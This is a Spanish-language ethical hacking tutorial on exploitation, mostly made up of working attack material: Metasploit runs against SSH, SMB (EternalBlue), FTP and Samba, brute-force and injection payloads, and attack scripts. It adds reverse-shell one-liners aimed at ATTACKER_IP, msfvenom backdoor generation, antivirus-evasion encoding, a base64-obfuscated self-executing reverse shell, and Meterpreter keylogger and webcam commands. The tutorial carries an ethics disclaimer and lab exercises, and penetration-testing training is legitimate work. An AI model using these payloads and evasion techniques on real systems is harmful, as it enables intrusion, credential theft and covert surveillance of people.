🎯 Introducción
¡Bienvenidos a la sexta entrega de “Hacking Ético desde 0”! Hasta ahora hemos cubierto reconocimiento, escaneo y análisis de vulnerabilidades. Es momento de dar el paso crucial: la explotación.
En este tutorial aprenderemos a explotar servicios comunes de manera profesional y ética, utilizando tanto herramientas automatizadas como técnicas manuales.
⚠️ RECORDATORIO ÉTICO: Todo lo aquí enseñado debe usarse ÚNICAMENTE en entornos autorizados para pruebas de penetración legítimas.
🔍 ¿Qué es la Explotación?
La explotación es el proceso de aprovechar una vulnerabilidad identificada para obtener acceso no autorizado a un sistema o comprometer su funcionamiento.
Tipos de Explotación:
- Remote Code Execution (RCE): Ejecutar código remotamente
- Local Privilege Escalation: Escalar privilegios localmente
- Buffer Overflow: Aprovechamiento de desbordamientos
- SQL Injection: Inyección en bases de datos
- Authentication Bypass: Evadir autenticación
- Configuration Exploitation: Aprovechar malas configuraciones
Instalación y Configuración
1
2
3
4
5
6
7
8
9
10
11
| # Metasploit viene preinstalado en Kali Linux
msfconsole
# Inicializar base de datos
sudo msfdb init
# Verificar status
sudo msfdb status
# Actualizar Metasploit
sudo msfupdate
|
Conceptos Fundamentales
1
2
3
4
5
6
| # Estructura de Metasploit
# Exploits: Código que aprovecha vulnerabilidades
# Payloads: Código que se ejecuta tras la explotación
# Auxiliary: Módulos auxiliares (scanners, fuzzers)
# Post: Módulos de post-explotación
# Encoders: Codificadores para evadir detección
|
Comandos Básicos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| # Buscar exploits
search apache
search type:exploit platform:linux
search cve:2021-44228
# Información del exploit
info exploit/linux/http/apache_mod_cgi_bash_env_exec
# Usar exploit
use exploit/linux/http/apache_mod_cgi_bash_env_exec
# Ver opciones
show options
show payloads
show targets
# Configurar parámetros
set RHOSTS 192.168.1.100
set RPORT 80
set LHOST 192.168.1.50
# Ejecutar exploit
exploit
run
|
🎯 Explotación de Servicios SSH
1. Ataques de Fuerza Bruta
1
2
3
4
5
6
7
8
9
10
11
12
| # Con Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
# Con listas personalizadas
hydra -L users.txt -P passwords.txt ssh://192.168.1.100
# Con Metasploit
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
|
2. Explotación de Vulnerabilidades SSH
1
2
3
4
5
6
7
8
9
| # CVE-2016-6515 (User enumeration)
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run
# SSH key-based attacks
ssh-keyscan 192.168.1.100
ssh-audit 192.168.1.100
|
3. Script de Automatización SSH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| #!/bin/bash
# ssh_exploit.sh - Automatización de ataques SSH
TARGET=$1
USERLIST="admin,root,user,test,guest"
PASSLIST="/usr/share/wordlists/rockyou.txt"
if [ -z "$TARGET" ]; then
echo "Uso: $0 <target>"
exit 1
fi
echo "[+] Iniciando ataques SSH contra: $TARGET"
# 1. Banner grabbing
echo "[+] Obteniendo banner SSH..."
nc $TARGET 22 | head -1
# 2. Enumeración de usuarios
echo "[+] Enumerando usuarios..."
for user in $(echo $USERLIST | tr ',' ' '); do
timeout 5 ssh -o ConnectTimeout=3 $user@$TARGET "echo 'Usuario válido: $user'" 2>/dev/null
done
# 3. Fuerza bruta con usuarios comunes
echo "[+] Ejecutando fuerza bruta..."
hydra -L <(echo $USERLIST | tr ',' '\n') -P $PASSLIST ssh://$TARGET -t 4
echo "[+] Escaneo SSH completado"
|
🌐 Explotación de Servicios Web
1. Inyección SQL
1
2
3
4
5
6
7
8
9
10
11
| # Detección manual
curl "http://target.com/login.php?id=1'"
curl "http://target.com/login.php?id=1 OR 1=1--"
# Con SQLMap
sqlmap -u "http://target.com/login.php?id=1" --dbs
sqlmap -u "http://target.com/login.php?id=1" -D database --tables
sqlmap -u "http://target.com/login.php?id=1" -D database -T users --dump
# POST injection
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --dbs
|
2. Cross-Site Scripting (XSS)
1
2
3
4
5
6
7
8
9
| // Payloads básicos XSS
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
// Bypass de filtros
<ScRiPt>alert('XSS')</ScRiPt>
javascript:alert('XSS')
<iframe src="javascript:alert('XSS')">
|
3. Command Injection
1
2
3
4
5
6
7
8
9
| # Payloads de command injection
; ls -la
| whoami
& id
`whoami`
$(whoami)
# Ejemplo en parámetro web
curl "http://target.com/ping.php?host=127.0.0.1;cat /etc/passwd"
|
4. Script de Explotación Web
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
| #!/usr/bin/env python3
# web_exploit.py - Automatización de ataques web
import requests
import urllib.parse
import sys
def test_sql_injection(url, param):
"""Test básico de SQL injection"""
payloads = [
"'",
"1' OR '1'='1",
"1' UNION SELECT NULL,NULL,NULL--",
"1'; DROP TABLE users--"
]
print(f"[+] Testeando SQL injection en {param}")
for payload in payloads:
data = {param: payload}
try:
response = requests.post(url, data=data, timeout=5)
if "error" in response.text.lower() or "mysql" in response.text.lower():
print(f"[!] Posible SQL injection con payload: {payload}")
except:
continue
def test_xss(url, param):
"""Test básico de XSS"""
payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"javascript:alert('XSS')"
]
print(f"[+] Testeando XSS en {param}")
for payload in payloads:
data = {param: payload}
try:
response = requests.post(url, data=data, timeout=5)
if payload in response.text:
print(f"[!] Posible XSS con payload: {payload}")
except:
continue
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Uso: python3 web_exploit.py <URL> <parameter>")
sys.exit(1)
url = sys.argv[1]
param = sys.argv[2]
test_sql_injection(url, param)
test_xss(url, param)
|
🗃️ Explotación de Servicios SMB
1. EternalBlue (MS17-010)
1
2
3
4
5
6
7
8
9
| # Verificar vulnerabilidad
nmap --script smb-vuln-ms17-010 192.168.1.100
# Explotar con Metasploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit
|
2. SMB Enumeration y Ataques
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Enumeración básica
smbclient -L //192.168.1.100
enum4linux 192.168.1.100
# Acceso a shares
smbclient //192.168.1.100/ADMIN$ -U administrator
smbclient //192.168.1.100/C$ -U ""
# Con Metasploit
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.100
set SMBUser administrator
set SMBPass password123
run
|
3. Script de Explotación SMB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| #!/bin/bash
# smb_exploit.sh - Explotación automatizada SMB
TARGET=$1
if [ -z "$TARGET" ]; then
echo "Uso: $0 <target>"
exit 1
fi
echo "[+] Iniciando explotación SMB: $TARGET"
# 1. Verificar vulnerabilidad EternalBlue
echo "[+] Verificando MS17-010..."
nmap --script smb-vuln-ms17-010 $TARGET -p 445
# 2. Enumeración de shares
echo "[+] Enumerando shares..."
smbclient -L //$TARGET -N
# 3. Intentar acceso anónimo
echo "[+] Intentando acceso anónimo..."
smbclient //$TARGET/IPC$ -N -c "ls"
# 4. Fuerza bruta básica
echo "[+] Fuerza bruta básica..."
hydra -l administrator -P /usr/share/wordlists/rockyou.txt smb://$TARGET
echo "[+] Explotación SMB completada"
|
📁 Explotación de Servicios FTP
1. Ataques Básicos FTP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Fuerza bruta
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.100
# Con Metasploit
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
# Anonymous FTP
ftp 192.168.1.100
# Username: anonymous
# Password: (vacío o email)
|
2. Vulnerabilidades FTP Comunes
1
2
3
4
5
6
7
8
9
10
11
| # vsftpd 2.3.4 backdoor
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.100
exploit
# ProFTPD vulnerabilities
search proftpd
use exploit/linux/ftp/proftp_sreplace
set RHOSTS 192.168.1.100
set payload linux/x86/shell_reverse_tcp
exploit
|
🚀 Técnicas Avanzadas de Explotación
1. Buffer Overflow Básico
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| #!/usr/bin/env python3
# basic_bof.py - Buffer overflow básico
import socket
import sys
def exploit_bof(target, port):
"""Explotación básica de buffer overflow"""
# Crear patrón para encontrar offset
pattern = b"A" * 100 + b"B" * 4 + b"C" * 100
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(pattern)
s.close()
print("[+] Payload enviado")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Uso: python3 basic_bof.py <target> <port>")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2])
exploit_bof(target, port)
|
2. Reverse Shell Generation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Bash reverse shell
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# PHP reverse shell
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# Netcat reverse shell
nc -e /bin/sh ATTACKER_IP 4444
# PowerShell reverse shell (Windows)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "& {$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}"
|
3. Meterpreter Avanzado
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| # Generar payloads personalizados
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe > backdoor.exe
# Configurar listener
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit
# Comandos útiles en Meterpreter
sysinfo
getuid
ps
migrate <PID>
hashdump
screenshot
webcam_snap
keylogger_start
|
🧪 Laboratorio Práctico
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # 1. Descargar e instalar Metasploitable 2
# 2. Escanear servicios vulnerables
nmap -sV -A <METASPLOITABLE_IP>
# 3. Explotar vsftpd backdoor
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS <METASPLOITABLE_IP>
exploit
# 4. Explotar Samba
use exploit/multi/samba/usermap_script
set RHOSTS <METASPLOITABLE_IP>
set payload cmd/unix/reverse
set LHOST <ATTACKER_IP>
exploit
|
Ejercicio 2: DVWA (Damn Vulnerable Web Application)
1
2
3
4
5
6
| # 1. Configurar DVWA en laboratorio
# 2. SQL Injection
sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=xxx; security=low" --dbs
# 3. Command Injection
curl "http://dvwa/vulnerabilities/exec/?ip=127.0.0.1;cat /etc/passwd&Submit=Submit" --cookie="PHPSESSID=xxx; security=low"
|
🛡️ Evasión de Defensas
1. Evasión de Antivirus
1
2
3
4
5
| # Codificar payloads
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > encoded_payload.exe
# Usar templates
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -x /path/to/template.exe -f exe > templated_payload.exe
|
2. Evasión de IDS/IPS
1
2
3
4
5
6
7
8
| # Fragmentación de paquetes
nmap -f target.com
# Decoy scanning
nmap -D RND:10 target.com
# Source port spoofing
nmap --source-port 53 target.com
|
3. Técnicas de Ofuscación
1
2
3
4
5
6
7
8
9
10
11
12
| #!/usr/bin/env python3
# obfuscated_payload.py - Payload ofuscado
import base64
import subprocess
# Payload codificado en base64
encoded_payload = "cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTkyLjE2OC4xLjUwIiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKTsn"
# Decodificar y ejecutar
decoded = base64.b64decode(encoded_payload).decode()
subprocess.call(decoded, shell=True)
|
📊 Documentación de Explotación
Template de Reporte de Explotación
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| # Reporte de Explotación
## Información del Target
- **IP/Hostname**: target.example.com
- **SO**: Linux Ubuntu 18.04
- **Servicios**: SSH, HTTP, SMB
## Vulnerabilidad Explotada
- **CVE**: CVE-YYYY-XXXXX
- **Descripción**: Buffer overflow en servicio X
- **CVSS**: 9.8 (Crítico)
## Metodología de Explotación
1. Reconocimiento inicial
2. Identificación de la vulnerabilidad
3. Búsqueda de exploit
4. Adaptación del exploit
5. Ejecución controlada
## Evidencia de Explotación
- Comandos ejecutados
- Screenshots del acceso obtenido
- Archivos de evidencia
## Impacto Demostrado
- Acceso shell como root
- Lectura de archivos sensibles
- Capacidad de persistencia
## Remediación
- Aplicar parche security-update-X
- Configurar firewall
- Implementar monitoreo
|
🎯 Próximos Pasos
En el próximo tutorial cubriremos:
- Post-Explotación y Persistencia
- Escalada de Privilegios
- Lateral Movement
- Data Exfiltration
- Covering Tracks
📚 Recursos Adicionales
🎓 Conclusión
La explotación es donde la teoría se convierte en práctica real. Las claves del éxito son:
- Metodología sistemática - Seguir un proceso ordenado
- Verificación múltiple - Confirmar vulnerabilidades antes de explotar
- Documentación meticulosa - Registrar cada paso para reportes
- Responsabilidad ética - Actuar siempre dentro de los límites legales
- Mejora continua - Practicar en laboratorios controlados
Recuerda: el objetivo no es causar daño, sino demostrar el riesgo real para que pueda ser mitigado apropiadamente.
En la próxima entrega profundizaremos en la post-explotación, donde realmente se demuestra el impacto completo de las vulnerabilidades.
Andrés Nuñez - t4ifi